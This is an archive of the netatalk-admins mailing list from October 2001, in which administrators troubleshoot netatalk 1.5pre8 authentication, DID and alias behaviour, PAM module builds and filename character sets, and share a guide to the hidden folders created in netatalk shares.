Date: Thu, 18 Oct 2001 15:42:05 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: Isaac Ordonez <iordonez@marin.k12.ca.us>
cc: nettalk <netatalk-admins@umich.edu>
Subject: Re: Invalid passwords
In-Reply-To: <B7F44C94.8E4%iordonez@marin.k12.ca.us>
Message-Id: <Pine.SOL.4.20.0110181538320.3063-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


What Mac OS are you using? The old OS's didn't support encryption, and you
might need to update your appleshare client. The old appleshare clients
also would't accept passwords longer than 8 characters.

See:
http://til.info.apple.com/techinfo.nsf/artnum/n60792?OpenDocument&software
(this site requires cookies, and a sign-in).

-Karen

on 10/18/01, Isaac Ordonez wisely declared:

> Hello,
> 
> I have been trying to set up 1.5p8 on my slackware linux box for the last
> few day.  The compile ran fine when I used ./configure --with-shadow
> --without-pam it found my openssl libs and made everything correctly.  Now
> when I set up afpd and start it using dhx as my authentication.  When a use
> tries to log in it tells me that they have an invalid password.  If I try
> and use a user that doesn't exists it tells me that user doesn't exists, so
> I know that it is reading a user list somehow.  Just not encrypting the
> passwords.  Also /var/log/messages only shows the user connecting and
> xfering a few k of data and then disconnecting, no errors. Has anyone seen
> this problem?  Is there a workaround for it?
> 
> Thanks,
> 
> Isaac Ordonez
> 
> 


-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Thu Oct 18 17:54:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA11886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 17:54:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA00024
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 17:54:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA00014
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 17:54:24 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id RAA29986
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 17:54:23 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 11332 invoked from network); 18 Oct 2001 21:52:59 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 18 Oct 2001 21:52:59 -0000
Message-Id: <5.1.0.14.2.20011018234855.01cbc580@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 18 Oct 2001 23:55:23 +0200
To: netatalk-admins@umich.edu
Subject: Re: Unidentified subject!
In-Reply-To: <1003436384.3bcf3960224e6@mail.scandinaviaonline.fi>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Aliases will not work when compiled with --did=last,
only untill you restart the afpd.
Else aliases work but files are id'd by the inode which can result in data 
loss.
So far I have used *without* --did=last for 3 weeks and no data loss or
DID conflicts so far, I think you are alot more likely to have problems 
when users
are sharing dirs (accessing dirs simultaniously).

/Mikko

At 22:19 2001-10-18, you wrote:
>Hi.
>
>I asked about the Freehand problem earlier ( links to different files inside
>freehand document breaks ) but now it seems that also other software makes 
>same
>kind of reprodusable actions.
>
>I managed to compile the 1.5pre8 nicely now ( thanks Sebastian! :) ) but 
>still
>have this problem. It makes the netatalk server unusable since it seems to
>break links to other files.
>
>The really amusing part now is that the server works (all the links in the
>pictures inside Freehand document will work) when I
>- open share with my username / password
>- open *all the folders where the pictures are first*
>and *then* open the freehand document - voila! All works fine.
>
>Is this somekind of bug in the afpd? Since it seems that when afpd "knows" 
>the
>folder where I have been when the share is open (the same afpd process 
>with my
>user-id running) everything works, but when I close the share and the afpd-
>process with my user-id dies - all links break.
>
>Can anyone comment on this one? Please? :)
>
>// Mika
>
>---
>
>Mika Vuokko
>Programmer
>Scandinavia Online
>Finland
>
>Tel: +358-20-1234518
>Mobile: +358-40-8334884
>Email:   mika.vuokko@scandinaviaonline.fi
>Web:    http://www.suomi24.fi



From netatalk.administrators-errors@umich.edu  Thu Oct 18 17:56:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA11976
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 17:56:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA06004
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 17:56:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA05995
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 17:56:16 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA05972
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 17:56:15 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-314-48.click-network.com [131.191.28.197]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id OAA32706; Thu, 18 Oct 2001 14:56:09 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 18 Oct 2001 14:55:32 -0700
Subject: Re: Invalid passwords
From: xris <xris@mac.com>
To: Karen A Swanberg <swanberg@tc.umn.edu>,
        Isaac Ordonez <iordonez@marin.k12.ca.us>
CC: nettalk <netatalk-admins@umich.edu>
Message-ID: <B7F49DE3.C440%xris@mac.com>
In-Reply-To: <Pine.SOL.4.20.0110181538320.3063-100000@garnet.tc.umn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

This is a known (or at least repeatable) problem with slackware.  So far,
the best way around it is to either use pre6, or to removepkg the openssl
and openssh (no idea why ssh, but it works) packages, and recompile the
latest versions from source.  Make sure you remove the netatalk package that
came with slackware, too..  If you installed it.

-Chris


> What Mac OS are you using? The old OS's didn't support encryption, and you
> might need to update your appleshare client. The old appleshare clients
> also would't accept passwords longer than 8 characters.
> 
> See:
> http://til.info.apple.com/techinfo.nsf/artnum/n60792?OpenDocument&software
> (this site requires cookies, and a sign-in).
> 
> -Karen
> 
> on 10/18/01, Isaac Ordonez wisely declared:
> 
>> Hello,
>> 
>> I have been trying to set up 1.5p8 on my slackware linux box for the last
>> few day.  The compile ran fine when I used ./configure --with-shadow
>> --without-pam it found my openssl libs and made everything correctly.  Now
>> when I set up afpd and start it using dhx as my authentication.  When a use
>> tries to log in it tells me that they have an invalid password.  If I try
>> and use a user that doesn't exists it tells me that user doesn't exists, so
>> I know that it is reading a user list somehow.  Just not encrypting the
>> passwords.  Also /var/log/messages only shows the user connecting and
>> xfering a few k of data and then disconnecting, no errors. Has anyone seen
>> this problem?  Is there a workaround for it?
>> 
>> Thanks,
>> 
>> Isaac Ordonez
>> 
>> 
> 
> 
> -                                                                  -
>   Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics
> 206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
>    Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)
> 
>             * <---- Tribble   . <--- Tribble.tgz
> 


From netatalk.administrators-errors@umich.edu  Thu Oct 18 18:02:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA12482
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 18:02:55 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA07208
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 18:02:55 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA07198
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 18:02:54 -0400 (EDT)
Received: from heretic.mabaleb.org (heretic.mabaleb.org [63.225.255.133])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA07180
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 18:02:53 -0400 (EDT)
Received: from localhost (unknown [192.168.1.103])
	by heretic.mabaleb.org (Postfix on SuSE Linux 7.1 (i386)) with ESMTP id D659698D
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 15:58:45 -0700 (MST)
Date: Thu, 18 Oct 2001 16:02:51 -0600
Subject: Re: 1.5pre8 install failure
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
From: Michael Bartosh <mbartosh@mabaleb.org>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
In-Reply-To: <20011017204039.A4606@jroger.in-berlin.de>
Message-Id: <DF8F4FF1-C413-11D5-B8F5-003065FB41C2@mabaleb.org>
X-Mailer: Apple Mail (2.472)

I have 1.5pre8 installed.... but when running the rc script, I get this 
in the logs:

Oct 16 17:59:59 4am afpd[25036]: uam : Loading 
(/etc/atalk/uams/uams_clrtxt.so)
Oct 16 17:59:59 4am afpd[25036]: uam: uam not found (status=-1)
Oct 16 17:59:59 4am afpd[25036]: uam : Loading 
(/etc/atalk/uams/uams_dhx.so)
Oct 16 17:59:59 4am afpd[25036]: uam: uam not found (status=-1)

Sure 'nuff, the file is there, but:

mbartosh@4am:~ > file /etc/atalk/uams/uams_clrtxt.so
/etc/atalk/uams/uams_clrtxt.so: broken symbolic link to uams_pam.so
mbartosh@4am:~ > file /etc/atalk/uams/uams_dhx.so
/etc/atalk/uams/uams_dhx.so: broken symbolic link to uams_dhx_pam.so

AND it seems that the files do not exist on my system.

Ideas?

-mab


From netatalk.administrators-errors@umich.edu  Thu Oct 18 18:17:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA13867
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 18:17:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA22541
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 18:17:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA22539
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 18:17:56 -0400 (EDT)
Received: from mail.scandinaviaonline.fi (mail.scandinaviaonline.fi [195.10.169.15])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id SAA22528
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 18:17:55 -0400 (EDT)
Received: (qmail 13390 invoked by uid 33); 18 Oct 2001 22:07:00 -0000
To: atalk admin <netatalk-admins@umich.edu>
Subject: FH9 problem, was:Re: Unidentified subject!
Message-ID: <1003442820.3bcf52849c606@mail.scandinaviaonline.fi>
Date: Fri, 19 Oct 2001 01:07:00 +0300 (EEST)
From: Mika Vuokko <mikav@mail.scandinaviaonline.fi>
References: <5.1.0.14.2.20011018234855.01cbc580@carme.affordablehost.com>
In-Reply-To: <5.1.0.14.2.20011018234855.01cbc580@carme.affordablehost.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 130.232.132.99

I compiled by netatalk like this:
./configure \
        --prefix=/usr/local/netatalk \
        --enable-lastdid \
        --enable-redhat \
        --with-did=mtab \
        --with-cracklib \
        --with-pam \
        --with-shadow \
        --with-tcp-wrappers \
        --with-ssl \
        --enable-pgp-uam \
        --enable-fhs

Is this OK? If I understood the docs correctly, the --with-did=mtab would help 
me with this broken link problem - but no. Could explain to me briefly what the 
did actually does, since I am not that good with mac's and their filesystems...

// Mika

Lainaus mikko@fs.sorl.net:
> Aliases will not work when compiled with --did=last,
> only untill you restart the afpd.
> Else aliases work but files are id'd by the inode which can result in
> data 
> loss.
> So far I have used *without* --did=last for 3 weeks and no data loss or
> DID conflicts so far, I think you are alot more likely to have problems 
> when users
> are sharing dirs (accessing dirs simultaniously).
> 
> /Mikko
> 
> At 22:19 2001-10-18, you wrote:
> >Hi.
> >
> >I asked about the Freehand problem earlier ( links to different files
> inside
> >freehand document breaks ) but now it seems that also other software
> makes 
> >same
> >kind of reprodusable actions.
> >
> >I managed to compile the 1.5pre8 nicely now ( thanks Sebastian! :) )
> but 
> >still
> >have this problem. It makes the netatalk server unusable since it seems
> to
> >break links to other files.
> >
> >The really amusing part now is that the server works (all the links in
> the
> >pictures inside Freehand document will work) when I
> >- open share with my username / password
> >- open *all the folders where the pictures are first*
> >and *then* open the freehand document - voila! All works fine.
> >
> >Is this somekind of bug in the afpd? Since it seems that when afpd
> "knows" 
> >the
> >folder where I have been when the share is open (the same afpd process 
> >with my
> >user-id running) everything works, but when I close the share and the
> afpd-
> >process with my user-id dies - all links break.
> >
> >Can anyone comment on this one? Please? :)
> >
> >// Mika
> >
> >---
> >
> >Mika Vuokko
> >Programmer
> >Scandinavia Online
> >Finland
> >
> >Tel: +358-20-1234518
> >Mobile: +358-40-8334884
> >Email:   mika.vuokko@scandinaviaonline.fi
> >Web:    http://www.suomi24.fi
> 
> 




 
---
 
Mika Vuokko
Programmer 
Scandinavia Online
Finland
 
Tel: +358-20-1234518
Mobile: +358-40-8334884
Email:   mika.vuokko@scandinaviaonline.fi
Web:    http://www.suomi24.fi

From netatalk.administrators-errors@umich.edu  Thu Oct 18 18:29:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA14586
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 18:29:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA13183
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 18:29:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA13179
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 18:29:31 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA13147
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 18:29:29 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f9IMTSJ07358
	for <netatalk-admins@umich.edu>; Fri, 19 Oct 2001 00:29:28 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f9IMTSV14326
	for netatalk-admins@umich.edu; Fri, 19 Oct 2001 00:29:28 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15uLc9-0002Dm-00
	for <netatalk-admins@umich.edu>; Fri, 19 Oct 2001 00:26:09 +0200
Date: Fri, 19 Oct 2001 00:26:09 +0200
To: netatalk-admins@umich.edu
Subject: Re: 1.5pre8 install failure
Message-ID: <20011019002609.A8428@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <20011017204039.A4606@jroger.in-berlin.de> <DF8F4FF1-C413-11D5-B8F5-003065FB41C2@mabaleb.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <DF8F4FF1-C413-11D5-B8F5-003065FB41C2@mabaleb.org>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Thu, Oct 18, 2001 at 04:02:51PM -0600, Michael Bartosh wrote:

> I have 1.5pre8 installed....

pre8 is buggy - it doesn't build the PAM modules properly. See the patch to
configure.in I posted here recently.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Fri Oct 19 17:58:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA13698
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Oct 2001 17:58:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA05803
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Oct 2001 17:58:22 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA05796
	for netatalk.administrators-members@umich.edu; Fri, 19 Oct 2001 17:58:22 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA05756
	for <netatalk-admins@umich.edu>; Fri, 19 Oct 2001 17:58:20 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id WAA26247;
	Fri, 19 Oct 2001 22:58:12 +0100
Date: Fri, 19 Oct 2001 22:58:12 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: quick guide to "hidden" folders in netatalk shares
Message-ID: <Pine.LNX.4.21.0110192251480.1361-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Since there seemed to be a lot of demand for such a document I have
written a quick first draft of a document listing the various folders and
files created automatically in Netatalk shares that are invisible from the
Mac.

I have given brief notes on what each folder does and what its permissions
should be.

Please e-mail me with any questions, comments or suggestions.




Special items created inside Netatalk shares

(ali@gwc.org.uk 19/10/01)

Inside netatalk share points you will find several files and directories
which are created automatically by the afpd process either for its own
internal use or for the internal use of the MacOS.

None of them should be directly visible in the Finder on the Mac. 

Many of them have to be writeable in order for netatalk to function
properly. This can present problems if users have shell access to the
netatalk server. At the very least, users can "hide" files inside these
writeable folders. At worst, a malicious user could confuse netatalk in a
bad way. It is unlikely that a malicious user could cause loss of another
user's data by exploiting permissions on these items.

Below is what I hope to be a comprehensive list of these files and
directories, their purpose, and a discussion of what Unix permissions
should be set on them.

Note that in general on Netatalk shares, all directories should have the
setgid bit set. This forces any new files or folders created to have the
same group as the folder they were created in.


.AppleDouble/

This directory exists inside each folder on a Netatalk share. It contains
the resource fork of each file in that folder. Its permissions should
match those of its parent directory, i.e. anyone who has write access to
the parent directory must have write access to the corresponding
.AppleDouble directory.


.AppleDesktop/

This directory exists under the top level of each share point. It contains
the "desktop database" which is the method by which the MacOS associates a
type/creator code with a particular application. Without it, documents
will lose their application-specific icons and will have a generic icon
instead. Double-clicking documents will also fail.

To allow the desktop database to be maintained correctly, any user who is
likely to copy an application on to the share must have write access to
this directory and all directories below it. 


Icon\r and .AppleDouble\Icon\r

These files will exist in any folder, including the top level of a share,
if it has a custom icon. Make them writeable to any user who should be
allowed to change that custom icon; make them read-only if you don't want
the custom icon to be changeable.


.AppleDB/
.AppleDBcnid.lock

These will exist at the top level of each sharepoint on servers that run
netatalk compiled with the new CNID DB code. Any user who has write access
to any part of the share must have full write access to this directory /
file and all the files within it otherwise the CNID DB code will not work
properly.


Network\ Trash\ Folder/

This exists at the top level of each sharepoint. This is where files that
are put in the Trash on clients go, until the Trash is emptied.

The permissions of items in this directory are a pretty complicated
subject, but basically you should make this directory and everything in it
world-writeable if you want the Trash can to work properly. If you don't
make it writeable then users will get a message "That item cannot be put
in the Trash. Do you want to delete it immediately?" if they try to put
something in the Trash.


Temporary\ Items/

This folder may exist at the top level of a sharepoint. This folder is
used by certain applications (Adobe PhotoShop among others) to store,
well, temporary items. These programs may not work correctly if this
folder is missing or not writeable, when a user tries to work on a
document stored in that Netatalk share.


TheFindByContentFolder/

This folder is used by Sherlock 2 to store information use by its Find by
Content feature. Make it writeable by users if you want to allow them to
update the Find by Content index on a netatalk share. Otherwise, make it
read-only.


-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 446 6070    Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Fri Oct 19 18:51:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA16111
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Oct 2001 18:51:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA16487
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Oct 2001 18:51:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA16481
	for netatalk.administrators-members@umich.edu; Fri, 19 Oct 2001 18:51:30 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA16473
	for <netatalk-admins@umich.edu>; Fri, 19 Oct 2001 18:51:29 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (coxlaptop [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id SAA49469
	for <netatalk-admins@umich.edu>; Fri, 19 Oct 2001 18:50:17 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: Controlling number of users on 1.4b2+asun
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Fri, 19 Oct 2001 18:51:22 -0400
Message-ID: <1f1jelb.18ze7w1csfx8qM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 269 days)

How do I set the maximum number of users on 1.4b2+asun?

Please be specific since I'm not a unix expert.

Many thanks

From netatalk.administrators-errors@umich.edu  Sat Oct 20 05:43:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA15480
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 20 Oct 2001 05:43:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA00193
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 20 Oct 2001 05:43:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA00184
	for netatalk.administrators-members@umich.edu; Sat, 20 Oct 2001 05:43:25 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA00166
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 05:43:24 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id KAA06130;
	Sat, 20 Oct 2001 10:43:12 +0100
Date: Sat, 20 Oct 2001 10:43:12 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Lee Blevins <leeb@digitalgraphics.net>
cc: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Controlling number of users on 1.4b2+asun
In-Reply-To: <1f1jelb.18ze7w1csfx8qM@cx448422-b.wwck1.ri.home.com>
Message-ID: <Pine.LNX.4.21.0110201041100.5327-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 19 Oct 2001, Lee Blevins wrote:

> How do I set the maximum number of users on 1.4b2+asun?

read man afpd. You need to pass the -c parameter on afpd's command line

> Please be specific since I'm not a unix expert.

weill the specifics depend on what version of unix you are running, which
you don't say. But probably you want to edit your rc.atalk startup script.

-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 446 6070    Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sat Oct 20 09:22:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA24914
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 20 Oct 2001 09:22:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA22883
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 20 Oct 2001 09:22:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA22881
	for netatalk.administrators-members@umich.edu; Sat, 20 Oct 2001 09:22:02 -0400 (EDT)
Received: from lokal.drh.dk ([217.60.43.130])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA22873
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 09:22:00 -0400 (EDT)
Received: from [217.60.43.130] ([217.60.43.130])
	by lokal.drh.dk (8.11.0/8.8.7) with ESMTP id f9KD5xf31360
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 15:05:59 +0200
Date: Sat, 20 Oct 2001 15:05:58 +0200 (CEST)
From: "Hans J. Hansen" <hans@lokal.drh.dk>
To: netatalk-admins@umich.edu
Subject: country specific characters in netatalk/samba
Message-ID: <Pine.LNX.4.21.0110201459360.31327-100000@lokal.drh.dk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have several linuxboxes running with samba for windows connectivity and
netaltalk for mac ditto. 
It runs fine.
Both accept danish characters in filenames:) BUT: not from oneanother!
When I name a file on a mac, the mac can read it, but windowmashines can
not!(and visa versa) I need to use US-only characters. Then it works. 

But it is very annoying to be limited, and users on the network dosent get
it....

Please help!!
-----------------
Hans J Hansen
Den Rytmiske 
hans@lokal.drh.dk


From netatalk.administrators-errors@umich.edu  Sat Oct 20 13:26:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA06646
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 20 Oct 2001 13:26:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA13177
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 20 Oct 2001 13:26:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA13161
	for netatalk.administrators-members@umich.edu; Sat, 20 Oct 2001 13:26:42 -0400 (EDT)
Received: from oddjob.trewitt.org (adsl-216-102-95-11.dsl.snfc21.pacbell.net [216.102.95.11])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA13130
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 13:26:40 -0400 (EDT)
Received: from trewitt.org (g4.trewitt.org [10.0.0.4])
	by oddjob.trewitt.org (8.11.3/8.11.1) with ESMTP id f9KHQNh66410;
	Sat, 20 Oct 2001 10:26:23 -0700 (PDT)
	(envelope-from glenn@trewitt.org)
Message-ID: <3BD1B3BE.337B4CED@trewitt.org>
Date: Sat, 20 Oct 2001 10:26:34 -0700
From: Glenn Trewitt <glenn@trewitt.org>
